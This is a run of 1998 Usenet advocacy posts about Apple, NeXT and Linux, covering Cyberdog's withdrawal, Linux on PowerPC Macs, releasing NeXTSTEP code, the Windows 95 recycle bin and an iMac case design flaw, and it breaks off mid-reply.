User-Agent: MacSOUP/2.4b3
Lawson English <english@primenet.com> wrote:
> John Moreno <phenix@interpath.com> said:
>
> >I don't believe that is the case - if I recall correctly there is at
> >least one site where it's still available.
>
> There's an educational mirror in XX that still has it (until Apple gets
> wind of it), but Apple doesn't distribute it any more. I found out about
> that site AFTER I posted to Maury, but my point still stands: Apple doesn't
> carry the software any more and has made sure that it is difficult (if not
> impossible) to obtain it.
>
> I'm reasonably certain that Apple will request that they stop carrying it.
> If they were NOT interested in killing the product and ending all use of
> it, they would be willing to allow www.cyberdog.org to make it available
> for ftp, no?
I'm not sure - and I think "interested in killing the product" might be
carrying it a bit too far. I think it'd be more accurate to say that
they want to let it wither on the vine. As for cd.org - one of the
problems with a large company is that they don't do anything without a
army of attorney's OK'ing it and getting them interested in spending the
money to make this happen is probably difficult (it'd probably be easier
to get someone on the inside to stick it on a server somewhere and
forget about it).
> That's the acid-test, I think. Will Apple say yay or nay to loyal Mac users
> trying to rescue their favorite Macintosh-only net-technolgy?
They'll probably just ignore it to death. I haven't mentioned it on
cd.gen (I probably will) but the best way to keep it available (if not
supported) is probably to get someone like Kevin A. to get it put in one
of the "obsolete" sections.
> ----------------------------------------------------------------------
> Want Apple to license Cyberdog for third-party development? Go to:
> <http://www.pcsincnet.com/petition.html>
> ----------------------------------------------------------------------
Please - a proper sigdash wouldn't hurt you.
--
John Moreno
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: Linux availibility for the Mac.
Date: 29 Oct 1998 19:54:03 GMT
Organization: Univ of Calif San Diego
Message-ID: <slrn73hhu8.7ga.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <715536$7i3$1@nnrp1.dejanews.com> <A41CBC786918BB29.F45AE3AE1E14C41F.F8E0C307EEFB0DCD@library-proxy.airnews.net> <716pp8$4u6$1@dinkel.civ.utwente.nl> <3637535f.0@news.together.net> <A85252C77EEF538A.B0726B4E86BCB1F1.EB0AB62FCA0C8F08@library-proxy.airnews.net> <3638135F.8F1ED4D5@ncal.verio.com>
NNTP-Posting-Date: 29 Oct 1998 19:54:03 GMT
On Wed, 28 Oct 1998 23:03:59 -0800, Mike Paquette <mpaque@ncal.verio.com> wrote:
:
:Apple would have to derive all revenues from product support, eating the
:non-recurring engineering costs. I'd be hard pressed to explain to the
:stockholders how this benefits them. It's not a good fit for Apple's business
:model. Then again, there seems to be a hardcore 'death to the capitalist pig
:dog imperialist warmongers' thing going with a few folks with regard to
:responsibilities to investors.
:
:Don't get me wrong. I like Linux, and it has a definite place in the
:marketplace, and is a good fit for some niches.
:I don't think it's a terribly
:good replacement for desktop computing applications for non-technical users,
:and is a really bad mismatch with Apple's business model.
An obvious better match, as obvious as it might seem, is to make
hardware so good and/or cheap vs. wintel cloners that people who
wanted Linux would be drooling to use it.
And, perhaps, to collaborate with the leading Linux distributors like
Redhat to make sure that Linux on Apple hardware works well and
slickly.
For instance, donate 5 or 10 'bad mutha' machines to RedHat, in return
for making RedHat Linux/PPC. They will develop for what they have.
As it stands now, Redhat supports Sparc and Alpha but not PPC. Despite the
much larger numbers of PPC computers out there. (nearly all Apples).
For instance, Linux now works very well on nearly every desktop, but laptop
support is rough---through no fault of RedHat.
I.e. guarantee a "will install with No Glitches and the Video and Sound
and Cards Will Work First Time No Tweaking" experience on PowerBooks.
There's no serious Alpha or Sparc there either.
Goal: make sure that Apple gets known as "the best laptop for
Linux"--no excuses.
Existing laptop makers are under the thrall of Redmond. Apple isn't.
:Commercial Linux distributions are best left with companies that have tailored
:their buisiness plans and capabilities appropriately, such as Red Hat, Prime
:Time Freeware, and similar businesses.
I agree. Apple can't be in the Linux software business.
But it still doesn't meant that Apple couldn't profit from Linux.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "To chill, or to pop a cap in my dome, whoomp! there it is."
* Hamlet, Fresh Prince of Denmark.
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 29 Oct 1998 21:13:58 GMT
Organization: I don't think so
Message-ID: <slrn73hn4t.rc.jason@jhste1.dyn.ml.org>
References: <71aafv$7sg$1@hole.sdsu.edu> <B25DFF0D-6E0A6@206.165.43.81>
Lawson English posted the following to comp.sys.mac.advocacy:
>The iMac has holes in its head that a first grader can fit the tip of a
>crayon into and it is being targeted at the K-12 market.
Geez, Lawson - aren't you opening yourself up for a snappy comeback
here? (Something about holes in the head...)
--
"...and a more offensive spectacle I cannot recall."
-- Newman
From: Matt Evans <bmajik@loathe.com>
Newsgroups: comp.sys.next.advocacy
Subject: About Linux, and OS-X
Date: 29 Oct 1998 12:12:47 -0600
Organization: University of Nebraska-Lincoln
Message-ID: <x7r9vrjkyo.fsf@loathe.com>
Apple should release all of the code for OS4.2s window server and the AppKit,
and all the GUI things that make NS/OS what they are.
Then the Linux community should take that code, spend 2 weeks, and get it all
running perfectly on Linux. The feel of NS, the power and modernness of Linux
underneath. Everyone writing code for what is effectively YB. Apple isn't
making any money off of NS or OS anymore. Why not give it to the free unix
people so they can rejuvinate it. No one has yet come up with a better
interface than NeXTSTEP. Look at what everyone runs on Linux, either
WindowMaker or Afterstep. Why not just run the real thing ?
Of couse, 1 hitch comes into all of this.
Linux has no display postscript. But the GNUstep people are working on
"display ghostscript". Instead of them duplicating whats already done,
why not have them get postscript renderer completely done and tuned, so
when( hopefully speaking :) apple releases all the code for OS4.2, it will be
a trivial amount of work.
As far as running linux on macs and replacing MacOS -- it wont work.
People like the Mac APIs. People like the Mac interface. It might
be possible to port the "Carbon" APIs or whatever they're calling them now
to Linux, which might not be a bad idea since you immediately get a troupe
of developer support. But then people would be writing Carbon programs that
only ran on Linux, because its not likely that MacOS X or watever it is
will be unixy enough for seamless ports.
OS 4.2 isn't even posix compliant. Perhaps they're reintroducing that in X ?
--
Matt Evans web: www.loathe.com/~bmajik
School: mevans@cse.unl.edu Work: bmajik@ntr.net
"No one will be left to prove that numbers existed,
Maybe soon the children will be born open fisted" -- Dave Mustaine
From: "Geoff Ehringer" <Ehringer@sgi.net>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <asiufy-0510981725230001@200.229.243.237> <70e4pg$hq2$1@strato.ultra.net> <3643a4c1.33254630@news.supernews.com> <70u099$30p$1@news-1.news.gte.net> <3648612d.157475509@news.supernews.com> <715ngv$hcs$7@eskinews.eskimo.com> <rbarris-ya023280002710981628380001@206.82.216.1> <363c3e6f.57868009@news.supernews.com> <ZSSZ1.255$k9.122363@news.sgi.net> <719hu1$2gg_002@news.uscom.com>
Subject: Re: A computer is not like a car.
Message-ID: <Wo6_1.39$Zo1.20644@news.sgi.net>
Date: Thu, 29 Oct 1998 17:57:10 -0500
NNTP-Posting-Date: Thu, 29 Oct 1998 17:56:54 EDT
Organization: Stargate Industries, LLC.
I have tried downloading the updates on 2 differnt computers and it worked
both times. Where have you been trying to download the update? Try
http://www.microsoft.com/ie/ie40/download/rtw/x86/en/download/addon95.htm
Drakmere wrote in message <719hu1$2gg_002@news.uscom.com>...
>In article <ZSSZ1.255$k9.122363@news.sgi.net>, "Geoff Ehringer"
<Ehringer@sgi.net> wrote:
>>You can download MSIE 4.01. It updates Windows 95 so the recycle bin
>>supports directories. Try that if you want to restore directories after
>>their "accidental" deleting.
>Just try d/ling MSIE 4.01, I dare you. I've been trying for at least a
week.
>(Turn on the install before I go to sleep, see it failed an hour after I
turned
>it on when I wake up.)
>>T. Max Devlin wrote in message <363c3e6f.57868009@news.supernews.com>...
>>>Quoting rbarris@quicksilver.com (Rob Barris) from
>>>alt.destroy.microsoft; Tue, 27 Oct 1998 16:28:38 -0800
>>>>In article <715ngv$hcs$7@eskinews.eskimo.com>, "Chris Alsan"
>>>><bgodot@eskimo.com> wrote:
>>>>
>>>>> The recycle bin does keep track of files original locations.
>>>>
>>>> Doesn't work for me, if I drag a Win95 folder hierarchy to the
recycle
>>>>bin, it gets flattened. No easy way to drag it back out the way it was
(if
>>>>I dragged the wrong thing or if I change my mind). Did I miss
something?
>>>
>>>Yes, you are, but only partially. The Win95 recycle bin DOES NOT
>>>support directories. You will not see your folder in there, no
>>>matter what you do. BUT...
>>>
>>>If you restore any of the files from the deleted folder, the
>>>directory will be re-created. You can also see which directory the
>>>files came from by choosing View--Details from the menu. You can
>>>sort the list of deleted files by original location by clicking on
>>>the column heading. And then you can easily select and restore all
>>>of the files from the deleted folder.
>>>
>>>Pretty intuitive, huh?
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: Linux availibility for the Mac.
Date: 29 Oct 1998 21:01:00 GMT
Organization: I don't think so
Message-ID: <slrn73hmck.rc.jason@jhste1.dyn.ml.org>
References: <715536$7i3$1@nnrp1.dejanews.com> <A41CBC786918BB29.F45AE3AE1E14C41F.F8E0C307EEFB0DCD@library-proxy.airnews.net> <716pp8$4u6$1@dinkel.civ.utwente.nl> <3637535f.0@news.together.net> <A85252C77EEF538A.B0726B4E86BCB1F1.EB0AB62FCA0C8F08@library-proxy.airnews.net> <3637d46e.0@news.together.net> <36382662.E5727033@nstar.net> <3638a602.0@news.together.net>
Lance Togar posted the following to comp.sys.mac.advocacy:
>>> >3. port Quicktime, etc to Linux
>>> Much work.
>>Why, exactly?
>Reasonable performace requires direct access to the hardware. A no-no for
>servers. I'll save you some time by pointing out that MS shouldn't have done
>this with NT 4 either. OTH, NT has been around long enough for some of the
>bugs to be worked out.
I take it that you never use XFree86, then?
--
"...and a more offensive spectacle I cannot recall."
-- Newman
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: YB developer's lost revenues
Content-Type: text/plain; charset=us-ascii
Message-ID: <F1Ly9M.KDL@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
Organization: needs one
References: <71aafv$7sg$1@hole.sdsu.edu> <B25DFF0D-6E0A6@206.165.43.81>
Mime-Version: 1.0
Date: Thu, 29 Oct 1998 21:27:21 GMT
In <B25DFF0D-6E0A6@206.165.43.81> "Lawson English" wrote:
> The iMac has holes in its head that a first grader can fit the tip of a
> crayon into and it is being targeted at the K-12 market.
Every computer built can be hurt or destroyed by placing staples in the
CD tray. Many of them are targetted at K12 as well.
Not enough said, too much stuff said. Another pointless Apple-bash.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: YB developer's lost revenues
Content-Type: text/plain; charset=us-ascii
Message-ID: <F1LyFL.KK2@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
Organization: needs one
References: <F1Lo80.C3u@T-FCN.Net> <B25DFC6A-64211@206.165.43.81>
Mime-Version: 1.0
Date: Thu, 29 Oct 1998 21:30:57 GMT
In <B25DFC6A-64211@206.165.43.81> "Lawson English" wrote:
> Maury Markowitz <maury@remove_this.istar.ca> said:
> > Depends on your numbers. When you provide some I'd be happy to look
> them
> >over.
> Check out the browserwatch stats:
>
> <http://browserwatch.internet.com/stats/stats.html>
>
> About 1000 hits on the page, for 2.7% of the activity.
>
> The petition that I mention below has about 20 UNIQUE additional e-mail
> signatures each day.
Oh, that's accurate.
> And for conspiracies, all we need to do is look at the formal evidence of
> the DOJ vs Microsoft trial: Gates threatened to withdraw MS Office support
> from Apple if they didn't kill NetScape.
Funny, Netscape isn't dead last time I checked.
> Do you think that Gates, who is
> on-record as having threatened Apple over OpenDoc several years ago, would
> have ignored Cyberdog?
Yes, but this particular line of conspiracy is your best yet!
> Cyberdog went from being the centerpiece of Apple's
> internet technology
CyberDog was NEVER the centerpiece of Apple's internet technology, and
even a brief look over the press of the day demonstrates this. For
instance, the MacWEEK article "CyberDog is not an internet strategy".
> Gates was threatening Apple over Netscape (recall that a Netscape
> OpenDoc-Cyberdog part was in the works and a beta version of it even
> appeared in a Browserwatch profile at one point).
And in this sentance you invalidate your entire argument, as the only
part that made it to any release quality was the IE part. If this had
anything to do with Gates, then he was killing his own product.
Maury
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 29 Oct 1998 22:21:08 GMT
Organization: Primenet (602)416-7000
Message-ID: <71apok$8m0$1@nnrp03.primenet.com>
References: <F1LGE7.7Aw@T-FCN.Net> <B25DED64-2BAB2@206.165.43.81> <F1Lo80.C3u@T-FCN.Net> <71aafv$7sg$1@hole.sdsu.edu> <cdoutyF1LxoL.Cwv@netcom.com>
Chris Douty <cdouty@netcom.com> wrote:
: In article <71aafv$7sg$1@hole.sdsu.edu>,
: tomlinson <etomlins@rohan.sdsu.edu> wrote:
: >The same story with Apple Cambridge and Dylan: Apple razes the division
: >and makes it well-nigh impossible for Harlequin or anyone else to continue
: >work in Dylan. Where was the cost to Apple in releasing full information
: >on their _cancelled_ Dylan development enviroment?
: [...]
: If Apple released all of the Dylan project into the public domain or GPL,
: or whatever then anyone could develop a product out of it. This include
: Microsoft making a Windows-only Dylan-like thing. Apple might get a
: little bit of good will from the CS academia and Open Source communities,
: but solid Linux on PowerMac hardware support will get them more milage.
Does halting the project at Apple mean that the Dylan projects already out
there must halt? The "Dylan" page on Yahoo lists a few, including, the
University of Chicago version:
http://www-dylan.uchicago.edu/
John
Newsgroups: comp.sys.next.advocacy
From: cdouty@netcom.com (Chris Douty)
Subject: Re: About Linux, and OS-X
Message-ID: <cdoutyF1Ly5y.DJG@netcom.com>
Sender: cdouty@netcom14.netcom.com
Organization: Netcom Online Services, Inc.
References: <x7r9vrjkyo.fsf@loathe.com>
Date: Thu, 29 Oct 1998 21:25:10 GMT
In article <x7r9vrjkyo.fsf@loathe.com>, Matt Evans <bmajik@loathe.com> wrote:
>
>Apple should release all of the code for OS4.2s window server and the AppKit,
>and all the GUI things that make NS/OS what they are.
What possible reason could Apple have for giving away all the technology
they bought for $400 million? They don't even have the right to release
some of it, such as the Window Server which implements DPS. Besides, you
need the Foundation Kit too, and you might as well throw in NetInfo.
Heck, just release the whole kit-n-kaboodle. Now it sounds an awful lot
like Rhapsody.
>Then the Linux community should take that code, spend 2 weeks, and get it all
>running perfectly on Linux. The feel of NS, the power and modernness of Linux
>underneath. Everyone writing code for what is effectively YB. Apple isn't
>making any money off of NS or OS anymore. Why not give it to the free unix
>people so they can rejuvinate it. No one has yet come up with a better
>interface than NeXTSTEP. Look at what everyone runs on Linux, either
>WindowMaker or Afterstep. Why not just run the real thing ?
It might take them more than 2 weeks even if Apple were willing to risk
company-ending lawsuits. Notice that the gnuStep project has been
limping along at a snail's pace while KDE and GNOME move along more
quickly?
>Of couse, 1 hitch comes into all of this.
Oh they are a few more hitches lining up.
>As far as running linux on macs and replacing MacOS -- it wont work.
>People like the Mac APIs. People like the Mac interface. It might
>be possible to port the "Carbon" APIs or whatever they're calling them now
>to Linux, which might not be a bad idea since you immediately get a troupe
>of developer support. But then people would be writing Carbon programs that
>only ran on Linux, because its not likely that MacOS X or watever it is
>will be unixy enough for seamless ports.
Nobody likes the Mac Toolbox APIs. You *must* be joking. Get a clue.
-Chris
--
Christopher Douty - Rogue Engineer trapped in a land of software
cdouty@netcom.com
"Frequently the messages have meaning; that is they refer to or are correlated
according to some system with physical or conceptual entities. These semantic
aspects of communication are irrelevant to the engineering problem." -Shannon
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: UNIX outpaces NT
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <71a2ln$195@newsb.netnews.att.com>
Message-ID: <4%2_1.12015$yb5.8389541@news.rdc1.sdca.home.com>
Date: Thu, 29 Oct 1998 19:04:32 GMT
NNTP-Posting-Date: Thu, 29 Oct 1998 11:04:32 PDT
Organization: @Home Network
In <71a2ln$195@newsb.netnews.att.com> gupta@knim.tm.tta.moc-mirror after @
wrote:
[snip Unix trends]
> The time is as propitious as it ever could be for Apple to
> introduce its consumer/low-end-to-middle-range Unix variant,
> MacOS X Server.
>
>
Maybe... Apple could shoot itself in the foot and choose to take the Unix
"high-road" ala Macintosh marketing strategy. They may push Mac GUI
superiority to justify a "high-price" in the unix marketplace. In fact,
they may snub other Unix altogether and advocate an all Apple network.
Apple may extend MacOS X server with proprietary extensions which preclude
Mac users from using the wealth of apps available for other unices.
In the end, Apple may become just another Monopolist, just different than
MS. Unlike, Sony which Jobs portends Apple wants to be... Sony knows
standards sell and just builds the best hardware. Apple is still stuck on
NIH mentality and ignores Linux, Sun, etc... in preference to their own
standards.
-r
From: "Chris Alsan" <bgodot@eskimo.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A computer is not like a car.
Date: Wed, 28 Oct 1998 15:23:51 -0800
Organization: Eskimo North (206) For-Ever
Message-ID: <71avps$u2q$2@eskinews.eskimo.com>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <asiufy-0510981725230001@200.229.243.237> <70e4pg$hq2$1@strato.ultra.net> <3643a4c1.33254630@news.supernews.com> <70u099$30p$1@news-1.news.gte.net> <3648612d.157475509@news.supernews.com> <715ngv$hcs$7@eskinews.eskimo.com> <rbarris-ya023280002710981628380001@206.82.216.1>
Rob Barris wrote in message ...
>In article <715ngv$hcs$7@eskinews.eskimo.com>, "Chris Alsan"
><bgodot@eskimo.com> wrote:
>
>> The recycle bin does keep track of files original locations.
>
> Doesn't work for me, if I drag a Win95 folder hierarchy to the recycle
>bin, it gets flattened. No easy way to drag it back out the way it was (if
>I dragged the wrong thing or if I change my mind). Did I miss something?
>
>Rob
Well, don't drag them out, select them, right click, then select "restore",
and it will put it back where it was.
From: rbarris@quicksilver.com (Rob Barris)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A computer is not like a car.
Message-ID: <rbarris-ya023280002910981607450001@206.82.216.1>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <asiufy-0510981725230001@200.229.243.237> <70e4pg$hq2$1@strato.ultra.net> <3643a4c1.33254630@news.supernews.com> <70u099$30p$1@news-1.news.gte.net> <3648612d.157475509@news.supernews.com> <715ngv$hcs$7@eskinews.eskimo.com> <rbarris-ya023280002710981628380001@206.82.216.1> <71avps$u2q$2@eskinews.eskimo.com>
Organization: Quicksilver Software, Inc.
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-transfer-encoding: 8bit
Date: Thu, 29 Oct 1998 16:07:45 -0800
NNTP-Posting-Date: Thu, 29 Oct 1998 16:06:49 PDT
In article <71avps$u2q$2@eskinews.eskimo.com>, "Chris Alsan"
<bgodot@eskimo.com> wrote:
> Rob Barris wrote in message ...
> >In article <715ngv$hcs$7@eskinews.eskimo.com>, "Chris Alsan"
> ><bgodot@eskimo.com> wrote:
> >
> >> The recycle bin does keep track of files original locations.
> >
> > Doesn't work for me, if I drag a Win95 folder hierarchy to the recycle
> >bin, it gets flattened. No easy way to drag it back out the way it was (if
> >I dragged the wrong thing or if I change my mind). Did I miss something?
> >
> >Rob
>
> Well, don't drag them out, select them, right click, then select "restore",
> and it will put it back where it was.
Hmmm, if I have dragged two (or three, or 15...) folders to the recycle
bin, how do I know which files came from which folder?
Rob
From: nes <nes@colorstar.nl>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A computer is not like a car.
Date: Fri, 30 Oct 1998 02:28:10 +0100
Organization: XS4ALL, networking for the masses
Message-ID: <3639162A.778B2DF1@colorstar.nl>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <asiufy-0510981725230001@200.229.243.237> <70e4pg$hq2$1@strato.ultra.net> <3643a4c1.33254630@news.supernews.com> <70u099$30p$1@news-1.news.gte.net> <3648612d.157475509@news.supernews.com> <715ngv$hcs$7@eskinews.eskimo.com> <rbarris-ya023280002710981628380001@206.82.216.1> <363c3e6f.57868009@news.supernews.com> <ZSSZ1.255$k9.122363@news.sgi.net> <719hu1$2gg_002@news.uscom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
i've had very good experiences with Norton Stuff... they added some nice
features... their package comes with a new recicle bin... and other disk
tools... (defrag and scandick)... those programs are much better
customizable... and they added REALLY good extra options...
(can't use it with NT though... i think they made an other version for
NT)
nes
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A computer is not like a car.
Date: Fri, 30 Oct 1998 10:32:03 +1000
Organization: University of Queensland
Message-ID: <71b38k$he4$1@bunyip.cc.uq.edu.au>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <asiufy-0510981725230001@200.229.243.237> <70e4pg$hq2$1@strato.ultra.net> <3643a4c1.33254630@news.supernews.com> <70u099$30p$1@news-1.news.gte.net> <3648612d.157475509@news.supernews.com> <715ngv$hcs$7@eskinews.eskimo.com> <rbarris-ya023280002710981628380001@206.82.216.1> <71avps$u2q$2@eskinews.eskimo.com> <rbarris-ya023280002910981607450001@206.82.216.1>
Rob Barris <rbarris@quicksilver.com> wrote in message
rbarris-ya023280002910981607450001@206.82.216.1...
>In article <71avps$u2q$2@eskinews.eskimo.com>, "Chris Alsan"
><bgodot@eskimo.com> wrote:
>> Well, don't drag them out, select them, right click, then select
"restore",
>> and it will put it back where it was.
>
> Hmmm, if I have dragged two (or three, or 15...) folders to the recycle
>bin, how do I know which files came from which folder?
Because if you have the view in "details" mode it's written beside them.
>
>Rob
Message-ID: <363903E9.271AD59D@ntr.net>
From: Ken Klavonic <kenkl@ntr.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Dilemma
References: <71aovh$hkc@newsb.netnews.att.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Thu, 29 Oct 1998 19:10:24 -0500
NNTP-Posting-Date: Thu, 29 Oct 1998 19:09:35 EDT
Organization: ntr.net Corporation
gupta@knim.tm.tta.moc-mirror, after, @ wrote:
>
> Some people say that Apple should become a software company.
> Apple should slowly migrate to generic Intel hardware, or
> license out at very low price the PowerPC hardware, and
> concentrate on producing software -- OSes, and middleware
> and maybe even applications. One strong argument is that
> hardware is a commodity, with strong downward price pressure,
> is hard to have reasonable margins, etc.
>
> Others want Apple to be a hardware company -- sell Linux,
> free up MacOS X Server, etc., and try to sell as many boxes
> as possible. The argument here is that the free source movement
> will make the OS, browsers, Web servers, etc. into freeware,
> there can't be a lot of money in that. As it is, most of
> Apple's revenue comes from hardware. What Apple lacks is
> development support; freeing up source code and/or binaries
> will bring developers in.
>
> (There is also a third way -- proposed by rabid Wintel advocates --
> that Apple should simply close shop.)
>
> What is the Think Different way ?
>
Here's my $0.02 --
Apple should continue to do both hardware and software. One of the unique
things about Macs (and that Windows will seemingly never achieve) is the tight
hardware and operating system integration. Becoming a software-only company
forces Apple's OS efforts to do the same thing Windows does now - Try to work
on a dizzying array of different hardware, and suffer the same problems that
Windows does when confronted with "unusual" hardware. Although Windows has
made great strides in doing this well, there's still a long way to go.
Becoming a hardware-only company puts Apple in the same league as Dell or
Compaq, and puts Apple at the mercy of the preeminent operating system company
for whatever platform they become at that point. We've all seen what happens
with that. (I have to admit being about halfway through "The Microsoft File"
and am a bit angst-ridden over the remedial history lesson that book presents).
I think Apple would do well to follow up iMac's surprising success with
continued hardware development, but I think that they really need to get away
from this "people will pay a premium for quality" philosophy that they can't
seem to shake. R&D costs on new hardware (I'm STILL waiting for a six-slot G3
box) could be made up for in volume even if they slimmed the margin a bit on
the boxes. I think Apple's primary strategy should be to increase market
share. They don't have to have 90%+, but these single-digit numbers are not
good. It'd be great if they could make and hold 15%-20% over the next few years.
One of the things that really bugs me about this industry is the notion that
for a company to be successful, all others must be unsuccessful. With the
size of the computer industry, there's surely enough room for all players,
given continued innovation and fair competition....
Best,
ken
From: mroeder@macromedia.com (mroeder)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Dilemma
Date: Thu, 29 Oct 1998 16:34:13 -0800
Organization: macromedia
Message-ID: <mroeder-2910981634130001@192.168.21.136>
References: <71aovh$hkc@newsb.netnews.att.com>
NNTP-Posting-Date: 30 Oct 1998 00:33:26 GMT
In article <71aovh$hkc@newsb.netnews.att.com>,
gupta@knim.tm.tta.moc-mirror after @ wrote:
> Some people say that Apple should become a software company.
> Apple should slowly migrate to generic Intel hardware, or
> license out at very low price the PowerPC hardware, and
> concentrate on producing software -- OSes, and middleware
> and maybe even applications. One strong argument is that
> hardware is a commodity, with strong downward price pressure,
> is hard to have reasonable margins, etc.
>
> Others want Apple to be a hardware company -- sell Linux,
> free up MacOS X Server, etc., and try to sell as many boxes
> as possible. The argument here is that the free source movement
> will make the OS, browsers, Web servers, etc. into freeware,
> there can't be a lot of money in that. As it is, most of
> Apple's revenue comes from hardware. What Apple lacks is
> development support; freeing up source code and/or binaries
> will bring developers in.
>
> (There is also a third way -- proposed by rabid Wintel advocates --
> that Apple should simply close shop.)
>
> What is the Think Different way ?
>
> -arun gupta
To me part of Apple's strength is being in control of the hardware and the
software. Windows suffers because the MS WIndows group and any developers
of applications for it are forced into endless compatibility testing on
all kinds of hardware. Yes, Mac software developers must also do
compatibility testing, but it's a lot simpler.
Digital Equipment Corporation used to make the best minicomputers; they
held the Mac-like market position against IBM for more than two decades.
They provided both the hardware and the operating system, while third
parties provided additional hardware and custom software. Unix was
developed on PDP-11s to begin with and was quickly moved to the VAX.
(Okay, so the market changed and DEC was recently bought by Compaq. But
that doesn't change DEC's success while IBM was the giant.)
The conventional way seems to be to take an extreme response -- to swing
either to being an all-software or an all-hardware company. Intel supplies
hardware. Micorosft supplies systems and most applicaitons software. Be
and NeXT dropped their hardware manufacturing businesses. To me, thinking
different means to take a moderate stance, not an extreme one, and
continue to make both hardware and system software as an integrated whole.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: iMac design flaw (Was Re: YB developer's lost revenues
Date: 29 Oct 98 18:58:33 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B25E6B5C-2F37C@206.165.43.6>
References: <F1Ly9M.KDL@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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nntp://news.primenet.com/comp.sys.next.advocacy
Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B25DFF0D-6E0A6@206.165.43.81> "Lawson English" wrote:
>> The iMac has holes in its head that a first grader can fit the tip of a
>> crayon into and it is being targeted at the K-12 market.
>
> Every computer built can be hurt or destroyed by placing staples in the
>CD tray. Many of them are targetted at K12 as well.
>
> Not enough said, too much stuff said. Another pointless Apple-bash.
Staples are not something that a K-3 student would normally be carrying
without supervision.
Pocket-lint, pebbles, sand, crayon fragments, Chicklets, broken erasers,
small paperclips -anything smaller than 1/2 an M&M- THOSE are all things
that little kids carry.
And you consider this an Apple BASH? How about a warning and complaint,
instead?
The original iMac case is NOT suitable for the target market and any K-3
computer tech will tell you this.
And it is a trivial thing to fix, but they haven't yet, that I have heard.
The more iMacs that are sold in the educational marekt without addressing
this issue, the more bad feelings Apple will deal with down the road.
And let's not forget the kool problem with the vibrating CD-ROM drive. If
you have one of these, the flash-ROM fix for it disables the safety-lock on
the CD-ROM drive, allowing one to open the CD-ROM while the drive is in
use, or so a techie has told me.
The Rev-B iMacs may have addressed these issues. Anyone know?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 29 Oct 98 18:45:51 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B25E6862-2409B@206.165.43.6>
References: <71aq4o$lns$1@nnrp02.primenet.com>
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John Jensen <jjens@primenet.com> said:
>Chris Douty <cdouty@netcom.com> wrote:
>: If Apple released all of the Dylan project into the public domain or
GPL,
>: or whatever then anyone could develop a product out of it. This include
>: Microsoft making a Windows-only Dylan-like thing. Apple might get a
>: little bit of good will from the CS academia and Open Source
communities,
>: but solid Linux on PowerMac hardware support will get them more milage.
>
>Looking further, I see that the Carnegie Mellon version of Dylan, the
>Gwydion Project, is already Open Source:
>
